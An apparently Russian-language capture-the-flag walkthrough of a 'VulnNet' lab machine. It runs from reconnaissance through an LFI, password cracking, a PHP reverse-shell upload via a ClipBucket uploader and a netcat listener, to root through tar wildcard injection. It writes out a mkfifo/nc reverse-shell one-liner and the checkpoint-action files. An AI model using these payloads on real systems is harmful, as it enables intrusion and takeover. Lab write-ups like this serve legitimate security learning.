# Vulnnet
Команда: Лепеха
Состав команды:
* Леха
## 10.10.80.238
### Сбор информации
Перед началом тестирования на проникновение требуется определить объём тестов и условия проведения анализа. В ходе сбора информации о целевых устройствах были определены следующие IP-адреса:
* 10.10.80.238
### Сервисы
| Порт | Сервис | Версия |
| ---- | ------ | ------ |
| 22 | ssh | OpenSSH 7.6p1 |
| 80 | http | Apache httpd 2.4.29 |
```
# Nmap 7.93 scan initiated Thu Jan 12 19:07:45 2023 as: nmap -sC -sV -v -T4 -oN scan-fast 10.10.80.238
Increasing send delay for 10.10.80.238 from 0 to 5 due to 109 out of 271 dropped probes since last increase.
Increasing send delay for 10.10.80.238 from 5 to 10 due to 13 out of 32 dropped probes since last increase.
Nmap scan report for 10.10.80.238
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 eac9e867760a3f9709a7d7a663adc12c (RSA)
| 256 0fc8f6d38e4cea67476884dc1c2b2e34 (ECDSA)
|_ 256 055399fc9810b5c368006c2941daa5c9 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 8B7969B10EDA5D739468F4D3F2296496
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: VulnNet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 12 19:08:17 2023 -- 1 IP address (1 host up) scanned in 32.15 seconds
```
Проверив разные endpoint-ы с помощью gobuster не нашел ничего интересного.
Пока gobuster перебирал варианты, я решил проверить саму страничку, на ней же была активна только login-page, и то оно было заглушкой
## Проникновение

Но я заметил, что сайт загружает два непонятных js файла, в одном из них была строчка, указывающая, что на index.php есть параметр
```
http://vulnnet.thm/index.php?referer=
```
Перебрав разные варианты, я нашел LFI, подставив "/etc/passwd" в параметр

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
lightdm:x:106:113:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:107:117::/nonexistent:/bin/false
kernoops:x:108:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
pulse:x:109:119:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
avahi:x:110:121:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
hplip:x:111:7:HPLIP system user,,,:/var/run/hplip:/bin/false
server-management:x:1000:1000:server-management,,,:/home/server-management:/bin/bash
mysql:x:112:123:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
```
Отсюда можно выцепить, что есть юзер ***server-management***
Дальше, т.к. там висит Apache, я проверил conf-файлы и наткнулся на это
```
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName vulnnet.thm
DocumentRoot /var/www/main
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/main>
Order allow,deny
allow from all
</Directory>
</VirtualHost>
<VirtualHost *:80>
ServerAdmin webmaster@localhost
ServerName broadcast.vulnnet.thm
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
<Directory /var/www/html>
Order allow,deny
allow from all
AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user
</Directory>
</VirtualHost>
```
Я нашел второй поддомен ***broadcast.vulnnet.thm***
А эта строка `AuthUserFile /etc/apache2/.htpasswd` показывает, что креды от юзера хранятся в файле **/etc/apache2/.htpasswd**
Проверив его, нашел `developers:$apr1$ntOz2ERF$Sd6FT8YVTValWjL7bJv0P0`
Расчехляем john
```
john hz.txt --wordlist=Tools/infosec/rockyou.txt
```
и получаем пароль `9972761drmfsls`
попытавшись залогиниться по ssh получаем ошибку и идем на http://broadcast.vulnnet.thm/index.php

Пошарившись по сайту не нашел ничего интересного и пошел на https://www.exploit-db.com/ с запросом по clipbucket
Нашел https://www.exploit-db.com/exploits/44250, попробовал command injection, но оно не сработало, хотя ошибку не выдавало, далее я попробовал закинуть файл черезh http://broadcast.vulnnet.thm/actions/beats_uploader.php
```bash
curl -H "Authorization: Basic ZGV2ZWxvcGVyczo5OTcyNzYxZHJtZnNscw=="
-F "file=@revshell.php"
-F "plupload=1"
-F "name=revshell.php"
"http://broadcast.vulnnet.thm/actions/beats_uploader.php"
```
```json
creating file
{
"success":"yes",
"file_name":"1673543904004709",
"extension":"php",
"file_directory":"CB_BEATS_UPLOAD_DIR"
}
```
Мой файл был сохранен в `CB_BEATS_UPLOAD_DIR` под именем `1673543904004709.php`, у меня составило некоторые трудности найти путь до файла, но пара запросов в гугл и ответ у меня в руках, идем смотреть http://broadcast.vulnnet.thm/actions/CB_BEATS_UPLOAD_DIR/1673543904004709.php
revshell с https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php работает, запускаем прослушку и после этого наш php
```bash
nc -lvnp 9090
Connection from 10.10.80.238:57108
Linux vulnnet 4.15.0-134-generic #138-Ubuntu SMP Fri Jan 15 10:52:18 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
18:22:42 up 1:18, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
```
Поймали соединение
## Повышение прав до юзера

Сейчас мы www-data, прав как таковых у нас нет, но исправить это не очень сложно
Первым делом для удобства я прописал себе нормальный шел
```bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
```
Попробовав некоторые базовые приемы и не получив результат, полез в бэкап файлы, где лежал бэкап ssh пользователя server-manager
```bash
www-data@vulnnet:/var/backups$ ls -laht
ls -laht
total 2.3M
-rw-r--r-- 1 root root 49K Jan 12 18:34 vulnnet-Thursday.tgz
drwxr-xr-x 2 root root 4.0K Jan 12 17:09 .
-rw-r--r-- 1 root root 49K Jan 25 2021 vulnnet-Monday.tgz
-rw-r--r-- 1 root root 1.4M Jan 25 2021 dpkg.status.0
-rw-rw-r-- 1 server-management server-management 1.5K Jan 24 2021 ssh-backup.tar.gz
-rw------- 1 root shadow 1.1K Jan 23 2021 shadow.bak
-rw------- 1 root shadow 712 Jan 23 2021 gshadow.bak
-rw------- 1 root root 857 Jan 23 2021 group.bak
-rw-r--r-- 1 root root 378K Jan 23 2021 dpkg.status.1.gz
-rw------- 1 root root 1.8K Jan 23 2021 passwd.bak
-rw-r--r-- 1 root root 14K Jan 23 2021 apt.extended_states.0
-rw-r--r-- 1 root root 265 Jan 23 2021 dpkg.statoverride.0
-rw-r--r-- 1 root root 195 Jan 23 2021 dpkg.statoverride.1.gz
drwxr-xr-x 14 root root 4.0K Jan 23 2021 ..
-rw-r--r-- 1 root root 50K Jan 23 2021 alternatives.tar.0
-rw-r--r-- 1 root root 280 Jan 23 2021 dpkg.diversions.0
-rw-r--r-- 1 root root 160 Jan 23 2021 dpkg.diversions.1.gz
-rw-r--r-- 1 root root 160 Jan 23 2021 dpkg.diversions.2.gz
-rw-r--r-- 1 root root 358K Jan 23 2021 dpkg.status.2.gz
-rw-r--r-- 1 root root 179 Jan 23 2021 dpkg.statoverride.2.gz
-rw-r--r-- 1 root root 11 Jan 23 2021 dpkg.arch.0
-rw-r--r-- 1 root root 43 Jan 23 2021 dpkg.arch.1.gz
-rw-r--r-- 1 root root 43 Jan 23 2021 dpkg.arch.2.gz
```
скопировал ssh-backup.tar.gz в /tmp и распаковал
```bash
www-data@vulnnet:/$ cp /var/backups/ssh-backup.tar.gz /tmp/
www-data@vulnnet:/$ cd /tmp/
www-data@vulnnet:/tmp$ gunzip ssh-backup.tar.gz
www-data@vulnnet:/tmp$ tar -xvf ssh-backup.tar
id_rsa
```
Потом сохранил файл к себе на компьютер и попробовал подконнектиться по ssh, но меня остановила просьба passphrase.

далее с помощью ssh2john и john я нашел пароль
```bash
╭─alex@Gera ~/infosec/HTM/vulnnet
╰─➤ john john.hash --wordlist=~/Tools/infosec/rockyou.txt
Warning: detected hash type "SSH", but the string is also recognized as "ssh-opencl"
Use the "--format=ssh-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
oneTWO3gOyac (id_rsa)
Warning: Only 1 candidate left, minimum 8 needed for performance.
1g 0:00:00:07 DONE (2023-01-12 21:05) 0.1358g/s 1948Kp/s 1948Kc/s 1948KC/s *7¡Vamos!
Session completed
```
и наконец подключился под server-manager к серверу c паролем `oneTWO3gOyac`

(И тут у меня упала машина)
## Получение root-прав
Полазив по системе увидел папку **.mozila**

Мозила обычно хранит креды, которые можно достать с помощью [этой](https://github.com/Unode/firefox_decrypt) тулзы, что я и попробовал сделать, к сожалению она была пустой, потом я наткнулся на crontab
```bash!
server-management@vulnnet:/etc$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
*/2 * * * * root /var/opt/backupsrv.sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
```
Каждые две минуты оно запускает какой-то бэкап скрипт, который мы не можем менять
```bash
-rwxr--r-- 1 root root 530 Jan 23 2021 backupsrv.sh
```
содержимое backupsrv.sh:
```bash!
#!/bin/bash
# Where to backup to.
dest="/var/backups"
# What to backup.
cd /home/server-management/Documents
backup_files="*"
# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"
# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo
# Backup the files using tar.
tar czf $dest/$archive_file $backup_files
# Print end status message.
echo
echo "Backup finished"
date
# Long listing of files in $dest to check file sizes.
ls -lh $dest
```
Этот скрипт запускает tar на все файлы в **/home/server-management/Documents** =>. Немного почитав про tar, я нашел такую вещь, как [checkpoints](https://www.gnu.org/software/tar/manual/html_section/checkpoints.html) и их [уязвимость](https://www.helpnetsecurity.com/2014/06/27/exploiting-wildcards-on-linux/)
```bash!
server-management@vulnnet:~/Documents$ ls
'Daily Job Progress Report Format.pdf' 'Employee Search Progress Report.pdf'
server-management@vulnnet:~/Documents$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.8.33.254 9001 >/tmp/f" > shell.sh
server-management@vulnnet:~/Documents$ echo "" > "--checkpoint-action=exec=sh shell.sh"
server-management@vulnnet:~/Documents$ echo "" > --checkpoint=1
server-management@vulnnet:~/Documents$
```
написав простой revshell записал его в shell.sh и подождав две минуты получил shell от рута
